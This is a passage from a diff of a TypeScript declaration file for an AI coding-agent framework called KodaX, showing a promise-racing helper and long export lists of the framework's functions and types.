* absorbed here (we attach a no-op `.catch` to prevent
|
|
4534
|
+
* UnhandledPromiseRejection) and the caller will surface it later
|
|
4535
|
+
* when they await the original promise.
|
|
4536
|
+
*
|
|
4537
|
+
* windowMs precedence:
|
|
4538
|
+
* 1. Explicit argument
|
|
4539
|
+
* 2. `readWindowFromEnv()`
|
|
4540
|
+
* 3. `DEFAULT_WINDOW_MS`
|
|
17
4541
|
*
|
|
18
|
-
*
|
|
4542
|
+
* `windowMs === 0` disables the race — returns `{kind: 'resolved'}` once
|
|
4543
|
+
* the promise settles (equivalent to `await promise` wrapped in the
|
|
4544
|
+
* result shape).
|
|
19
4545
|
*/
|
|
20
|
-
|
|
4546
|
+
declare function speculativeRace<T>(promise: Promise<T>, windowMs?: number): Promise<SpeculativeResult<T>>;
|
|
4547
|
+
|
|
4548
|
+
export { Agent, AgentMessage, AutoRules, CANCELLED_TOOL_RESULT_MESSAGE, CANCELLED_TOOL_RESULT_PREFIX, CODING_AGENTS, CODING_AGENT_MARKER, CODING_INVARIANTS, CODING_SUMMARY_PROMPT, CODING_UPDATE_SUMMARY_PROMPT, CapabilityDeniedError, CapabilityKind, CapabilityProvider, CapabilityResult, KodaXClient as Client, CompactionContext, CompactionPolicy, ConstructionManifestError, DEFAULT_CODING_AGENT_NAME, DEFAULT_DANGEROUS_PATTERNS, DEFAULT_HANDLER_TIMEOUT_MS, DEFAULT_RESILIENCE_CONFIG, DEFAULT_SAFE_PATTERNS, DEFAULT_SELF_MODIFY_BUDGET, DEFAULT_WINDOW_MS as DEFAULT_SPECULATIVE_WINDOW_MS, DEFAULT_TOOL_OUTPUT_MAX_BYTES, DEFAULT_TOOL_OUTPUT_MAX_LINES, EMIT_CONTRACT_TOOL_NAME, EMIT_HANDOFF_TOOL_NAME, EMIT_SCOUT_VERDICT_TOOL_NAME, EMIT_VERDICT_TOOL_NAME, EVALUATOR_AGENT_NAME, ErrorCategory, FailureStage, GENERATOR_AGENT_NAME, KODAX_TOOLS, KodaXAmaControllerDecision, KodaXBaseProvider, KodaXChildContextBundle, KodaXClient, KodaXCompactMemorySeed, KodaXContentBlock, KodaXContextOptions, KodaXEvents, KodaXExecutionMode, KodaXExtensionRuntime, KodaXExtensionSessionRecord, KodaXFanoutBranchRecord, KodaXFanoutBranchTransition, KodaXFanoutSchedulerInput, KodaXFanoutSchedulerPlan, KodaXInputArtifact, KodaXJsonValue, KodaXMessage, KodaXOptions, KodaXParentReductionContract, KodaXProviderCapabilityProfile, KodaXProviderPolicyHints, KodaXReasoningCapability, KodaXReasoningMode, KodaXRepoIntelligenceCapability, KodaXRepoIntelligenceMode, KodaXRepoIntelligenceResolvedMode, KodaXRepoIntelligenceTrace, KodaXRepoRoutingSignals, KodaXResult, KodaXSessionArtifactLedgerEntry, KodaXSessionEntry, KodaXSessionError, KodaXSessionLabelEntry, KodaXSessionLineage, KodaXSessionNavigationOptions, KodaXSessionTreeNode, KodaXTaskRoutingDecision, KodaXTaskType, KodaXTerminalError, KodaXThinkingDepth, KodaXToolDefinition, KodaXToolError, KodaXToolExecutionContext, KodaXToolUseBlock, LINEAGE_ENTRY_TYPES, LineageCompaction, LineageExtension, McpCapabilityProvider, McpServerConfig, McpServerRuntime, McpServersConfig, PLANNER_AGENT_NAME, PROMPT_SECTION_REGISTRY, PROTOCOL_EMITTER_TOOLS, ProviderExecutionState, ProviderRecoveryCoordinator, ProviderResilienceConfig, ProviderResiliencePolicy, READ_DEFAULT_LIMIT, READ_MAX_LINE_CHARS, READ_PREFLIGHT_SIZE_BYTES, REPOINTEL_DEFAULT_ENDPOINT, RecoveryDecision, RecoveryResult, ResilienceClassification, SCOUT_AGENT_NAME, SYSTEM_PROMPT, Session, SessionEntry, SessionErrorMetadata, SessionExtension, SignalCollector, StableBoundaryTracker, TASK_ENGINE_ROLE_AGENTS, TOOL_RESULT_TRUNCATION_GUARDRAIL_NAME, ToolCallSignal, _resetRuntimeForTesting, activate, analyzeChangedScope, appendAuditEntry, appendSessionLineageLabel, applyFanoutBranchTransition, applySessionCompaction, applyToolResultGuardrail, archiveOldIslands, assignFanoutBranchWorker, bashSignalCollector, boundedRevise, budgetCeiling, buildAmaControllerDecision, buildCapabilityContextSections, buildClassifierPrompt, buildFallbackRoutingDecision, buildFanoutSchedulerPlan, buildLlmReviewPrompt, buildPromptMessageContent, buildPromptOverlay, buildPromptSnapshot, buildProviderCapabilitySnapshot, buildProviderPolicyHintsForDecision, buildProviderPolicyPromptNotes, buildRepoIntelligenceContext, buildRepoIntelligenceIndex, buildRepoOverview, buildSessionTree, buildSystemPrompt, buildSystemPromptSnapshot, checkAbsoluteDeny, checkIncompleteToolCalls, checkPromiseSignal, classify, classifyBashCommand, classifyError, classifyResilienceError, computeInputSignature, configureRuntime, convertCapabilityReadResult, convertProviderSearchResults, countActiveFanoutBranches, countActiveLineageMessages, createBashClassifierConfig, createBuiltinToolDefinition, createCtxProxy, createDefaultCodingAgent, createDenialTracker, createExtensionRuntime, createFanoutSchedulerInput, createKodaXTaskRunner, createMcpCapabilityId, createMcpTransport, createPromptSection, createReasoningPlan, createSessionLineage, createToolResultTruncationGuardrail, defaultMcpCacheDir, defaultPolicy, disableSelfModify, drainPendingSwaps, emitContract, emitHandoff, emitScoutVerdict, emitVerdict, evaluateProviderPolicy, evaluatorAgent, evaluatorCodingAgent, exec, executeTool, extractArtifactLedger, extractComparableUserMessageText, extractHtmlTitle, extractPromptComparableText, extractTitleFromMessages, fileSignalCollector, finalizeRetrievalResult, findByVersion, findPreviousUserEntryId, forkSessionLineage, formatParallelDispatchResult, formatSize, generateSessionId, generatorAgent, generatorCodingAgent, getActiveExtensionRuntime, getBuiltinRegisteredToolDefinition, getBuiltinToolDefinition, getDenialContext, getFanoutBranch, getImpactEstimate, getMcpCachePaths, getModuleContext, getProcessContext, getRegisteredToolDefinition, getRepoIntelligenceIndex, getRepoOverview, getRepoRoutingSignals, getRequiredToolParams, getSessionLineagePath, getSessionMessagesFromLineage, getSymbolContext, getTool, getToolDefinition, getToolRegistrations, getToolResultPolicy, hasPendingSwap, independentReview, inferTaskType, inspectEditFailure, inspectRepoIntelligenceRuntime, isDeniedRecently, isParallelDispatchDirective, listAll, list as listArtifacts, listBuiltinToolDefinitions, listConstructed, listToolDefinitions, listTools, loadHandler, markFanoutBranchCancelled, markFanoutBranchCompleted, mergeArtifactLedger, orderPromptSections, parseClassifierOutput, parseEditToolError, parseLlmReviewVerdict, parseMcpCapabilityId, parseModelSpec, persistToolOutput, plannerAgent, plannerCodingAgent, prewarmRepoIntelligenceCaches, readArtifact, readAuditEntries, readBudget, readDisableState, readWindowFromEnv as readSpeculativeWindowFromEnv, reasoningModeToDepth, reconstructMessagesWithToolGuard, recordDenial, registerCodingInvariants, registerConfiguredMcpCapabilityProvider, registerOfficialSandboxExtension, registerTool, rehydrateActiveArtifacts, remaining as remainingSelfModifyBudget, renderChangedScope, renderImpactEstimate, renderModuleContext, renderProcessContext, renderPromptSections, renderRepoOverview, renderRetrievalResult, renderSymbolContext, resetBudget, resolveClassifierModel, resolveConstructedAgent, resolveReasoningMode, resolveRepoIntelligenceMode, resolveRepoIntelligenceRuntimeConfig, resolveResilienceConfig, resolveSessionLineageTarget, resolveToolCapability, revoke, rewindSessionLineage, rollbackSelfModify, runAstRules, runKodaX, runLlmReview, runManagedTask, runOrchestration, scoutAgent, scoutCodingAgent, searchMcpCatalog, setActiveExtensionRuntime, setSessionLineageActiveEntry, speculativeRace, stage, stripAssistantText, stripHtmlToText, test as testArtifact, toolAskUserQuestion, toolBash, toolChangedDiff, toolChangedScope, toolCodeSearch, toolEdit, toolGlob, toolGrep, toolImpactEstimate, toolInsertAfterAnchor, toolModuleContext, toolPermission, toolProcessContext, toolRead, toolRepoOverview, toolSemanticLookup, toolSymbolContext, toolUndo, toolWebFetch, toolWebSearch, toolWrite, truncateHead, truncateLine, truncateTail, validateSubtaskIndependence, validateToolSchemaForProvider, warmRepoIntelligenceRuntime, webhook };
|
|
4549
|
+
export type { AbsoluteDenyMatch, AbsoluteDenyMiss, AbsoluteDenyResult, AgentArtifact, ArtifactStatus, AstCheckResult, AstRuleId, AstRuleViolation, AuditEntry, AuditEventKind, BashClassificationResult, BashClassifierConfig, BashRiskLevel, BudgetState, BuildClassifierPromptInput, BuildPromptInput, Capabilities, ChangedFileEntry, ChangedFileStatus, ChangedScopeAreaSummary, ChangedScopeReport, ClassifierDecision, ClassifierPrompt, ClassifyDecision, ClassifyOptions, ConstructionArtifact, ConstructionPolicy, ConstructionPolicyVerdict, CreateCtxProxyOptions, CreateKodaXTaskRunnerOptions, DenialRecord, DenialTracker, DisableState, EditRecoveryDiagnostic, EditToolErrorCode, ErrorClassification, ExecOptions, ExecResult, ExtensionCommandContext, ExtensionCommandDefinition, ExtensionCommandInvocation, ExtensionCommandResult, ExtensionContributionSource, ExtensionEventMap, ExtensionFailureDiagnostic, ExtensionFailureStage, ExtensionHookMap, ExtensionLoadSource, ExtensionLogger, ExtensionRuntimeController, ExtensionRuntimeDiagnostics, ExtensionToolBeforeHookContext, ImpactEstimateResult, KodaXAgentWorkerSpec, KodaXExtensionAPI, KodaXExtensionActivationResult, KodaXExtensionModule, KodaXPromptSection, KodaXPromptSectionDefinition, KodaXPromptSectionSlot, KodaXPromptSectionStability, KodaXPromptSnapshot, KodaXPromptSnapshotMetadata, KodaXProviderCapabilitySnapshot, KodaXProviderPolicyDecision, KodaXProviderPolicyIssue, KodaXProviderPolicyIssueSeverity, KodaXProviderSourceKind, KodaXRetrievalArtifact, KodaXRetrievalFreshness, KodaXRetrievalItem, KodaXRetrievalResult, KodaXRetrievalScope, KodaXRetrievalToolName, KodaXRetrievalTrust, LanguageCapabilityTier, LineageArtifactLedgerPayload, LineageCompactionDelegates, LineageEntryType, LineageLabelPayload, LineageTreeNode, LlmReviewClient, LlmReviewResult, LlmReviewVerdict, LoadHandlerOptions, LoadHandlerScope, LoadedExtensionDiagnostic, LocalToolDefinition, McpCapabilityDescriptor, McpCapabilityKind, McpCapabilityRisk, McpCatalogItem, McpProviderOptions, McpServerCatalogSnapshot, McpServerRuntimeDiagnostics, McpTransport, McpTransportEvents, ModelProviderRegistration, ModuleCapsule, ModuleContextResult, OfficialSandboxMode, OfficialSandboxOptions, OrchestrationArtifact, OrchestrationCompletedTask, OrchestrationRunEvents, OrchestrationRunOptions, OrchestrationRunResult, OrchestrationTaskBudget, OrchestrationTaskContext, OrchestrationTaskExecution, OrchestrationTaskStatus, OrchestrationTraceEvent, OrchestrationWorkerResult, OrchestrationWorkerRunner, OrchestrationWorkerSpec, ParallelDispatchDirective, ParallelDispatchResult, ParallelSubtask, ParsedModelSpec, ProcessCapsule, ProcessContextResult, ProcessStep, ProtocolEmitterMetadata, RegisteredCapabilityProviderDiagnostic, RegisteredCommandDiagnostic, RegisteredHookDiagnostic, RegisteredToolDefinition, RegisteredToolDiagnostic, RepoAreaKind, RepoAreaOverview, RepoIntelligenceIndex, RepoIntelligenceRuntimeInspection, RepoIntelligenceRuntimeWarmResult, RepoLanguageId, RepoLanguageSupport, RepoOverview, RepoSymbolKind, RepoSymbolRecord, RepoSymbolReference, ResolveClassifierModelOptions, ResolveSource, ResolvedClassifierModel, RollbackResult, SchemaProvider, SchemaValidationResult, ScriptSource, SelfModifyAskUser, SelfModifyAskUserInput, SelfModifyDiffSeverity, SelfModifyDiffSummary, SpeculativeResult, StagedHandle, StripOptions, SymbolContextResult, TestArtifactOptions, TestResult, TierZeroPatternId, ToolContent, ToolDefinitionSource, ToolHandler, ToolRegistrationOptions, ToolRegistry, WebhookOptions, WebhookResult };
|